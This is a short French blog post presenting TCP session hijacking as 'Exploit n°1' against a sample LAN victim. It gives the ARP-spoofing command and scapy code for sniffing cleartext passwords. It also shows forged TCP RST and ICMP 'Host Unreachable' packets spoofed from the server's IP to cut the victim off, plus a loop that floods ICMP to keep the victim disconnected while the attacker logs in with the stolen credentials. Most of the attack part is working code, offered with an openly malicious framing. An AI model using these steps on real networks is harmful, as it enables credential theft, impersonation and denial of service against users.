TCP Session HiJackinG (Exploit n°1)

Publié le par Satellite

Prérequis :
ARP Spofing (Cache Poisoning) ou ICMP redirect
Wireshark (Ou autre sniffer de reseau)
Routage activé (Ne pas oublier !)


Supposons qu'on décide tout d'un coup d'être un peu plus crapuleux. Une fois qu'on a pris position de l'homme du milieu, non content de pouvoir simplement espionner la cible, on peut également prendre sa place sur le réseau en usurpant son identité. Je m'explique :
Soit une machine du nom de Pigeon (192.168.1.10) connectee en TCP [sur son port 50 000] sur une machine Server(1.1.1.1) [sur son port 22]  à travers un routeur (192.168.1.1). Je dispose d'une machine Spy (192.168.1.11) et je désire usurper l'identité de Pigeon auprès de Server. Voici comment je procède.

Je lance mon script d'ARP spoofing sur le routeur et sur la cible:

root@ubuntu > sudo python arp.py 192.168.1.10 192.168.1.1

Quelques secondes plus tard, je capte les trames réseau échangées entre le routeur et Pigeon. Si les mots de passe sont envoyés en clair, je peux les récuperer à l'aide de Wireshark, ou tout simplement à l'aide de la fonction sniff() de scapy:

>>> from scapy.all import *
>>> while 1:
...        a = sniff(count = 1,filter = 'host 192.168.1.10')


Une fois que j'ai récupéré le couple User/Mot de passe de Pigeon, je dois le déconnecter définitivement de Server pour usurper son identité. C'est très facile, il y a deux possibilités. Sachant que les paquets passent par moi, il me suffit de récuperer le dernier numéro de séquence TCP et de réinitialliser la connection [RST] (ou tout simplement de la fermer[FIN]).

>>> send(IP(dst = '192.168.1.10', src = '1.1.1.1')/TCP(dport = 50000, sport = 22, flags = 'R', seq = numSeq, ack = numAck )
Sent 1 packets.



Ou encore d'envoyer un paquet ICMP de type "Host Unreachable"

>>> send(IP(dst = '192.168.1.10', src = '1.1.1.1')/ICMP(type = 3))
Sent 1 packets.


Une fois qu'on a coupé la connection du coté de Pigeon, il faut l'empecher de la réinitialliser à l'aide d'un flood ICMP "Host Unreachable", toujours en spoofant l'IP de Server. Attention cependant, cela peut surcharger votre bande passante, il est donc necessaire d'envoyer les paquets à une fréquence pas trop elevée.

>>> import time
>>> while 1:
...        send(IP(dst = '192.168.1.10', src = '1.1.1.1')/ICMP(type = 3))
...        time.sleep(5) #Pose de 5 secondes entre deux envois


 Ma machine peut donc se connecter sur Server avec les User / Pass de Pigeon, tout en isolant Pigeon du réseau.

Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article